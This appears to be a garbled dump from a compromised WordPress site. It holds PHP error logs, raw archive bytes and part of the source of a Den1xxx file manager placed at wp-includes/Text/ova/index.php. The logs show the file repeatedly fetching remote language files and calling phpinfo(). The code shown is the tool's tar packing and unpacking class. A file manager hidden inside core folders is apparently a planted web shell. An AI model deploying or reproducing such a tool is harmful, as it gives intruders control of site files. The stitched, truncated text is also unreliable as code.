line 91 [30-Aug-2025 04:47:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 669 [30-Aug-2025 07:45:27 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:45:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:47:17 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:47:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:50:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:51:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:12:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:12:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:41 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:41 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:13 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:13 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 669 [30-Aug-2025 08:57:30 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:57:30 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 596 [30-Aug-2025 08:58:25 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 597 [30-Aug-2025 09:54:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 09:55:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:20:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:20:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:21:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:21:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:29:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:30:03 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:30:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:31:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:33:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:33:59 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:34:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:34:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:35:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:35:55 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:36:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:36:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:37:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:37:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:38:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:38:42 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:39:29 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:39:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:40:23 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:40:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:41:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:41:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:42:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:42:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:43:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:43:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:44:34 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:44:39 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:14 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:48:20 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:48:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:57:02 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:57:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 11:00:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by al[30-Aug-2025 12:37:33 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:37:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:52:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:53:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:39:00 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:39:05 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:40:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:40:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:45:04 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:45:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:21:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:21:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:23:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:23:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:24:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:24:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:26:57 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /[31-Aug-2025 10:01:14 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:01:19 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:08:16 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:08:21 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 PKd#[œZZ ova/ova.zipnu[PK j[F\ Diff.php.php.tar.gznu[[{o8OZN6[\Ҥ5A]DȒxwofHO-WlP<`/߲q؄~kN}|5~ dz*P"DFB/^D,h`i҇A?ŽoٙPB2a^ [(h FKvg\*y*S|n?i 4O?>B)CP3)G/x M57ռQ}pkHHq߅3: E#~е  "e y5$dhlr޽>~c` ifJxB M<$Dh<Å=&q5H<)b[> ^$\]e^(ŗޔB3Ì>+|͗,kpCKܳ]Q.BpXAcLg51vXGt}:j2Ez<\.Gr![!r߅0BbT4|_{t/䂇v'"~$=&7F69dd<ȥ]vR2Y4t ̙n&OQVV ǻʗZ(\ RNj("WZ&xekU:FBh]CX-&'[:2&CM5,_ ;pRMu1= )2̒XoC* <.1USK@~^61%|ֿ% mFhT "%GYtv_Mw̼fd`AW3q|8G *n9ŁM?E}linV[v3̇`:-<;A|9rb/}F#JJ@)!Q(<4Hv7q1l!XUhF~KδWutT{dr (!Bߵ/(gy@5 eš5x#Jaܯ,:Ě"&Tx ڊY 01YZ( ؉ wH3飱hXO&GGz7J.H0plN/V1^9*&[8mA"pк4Bp'a$g\ B|rAf?r?)ZC~ZwL Ui%obY9Mw7M _dǍ]2]¶ Y| 2; !SRKoQY:PKj[][7[7 index.phpnu[nskldgskgsdgf hlsqmdklsqd speskdjqsjdss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != 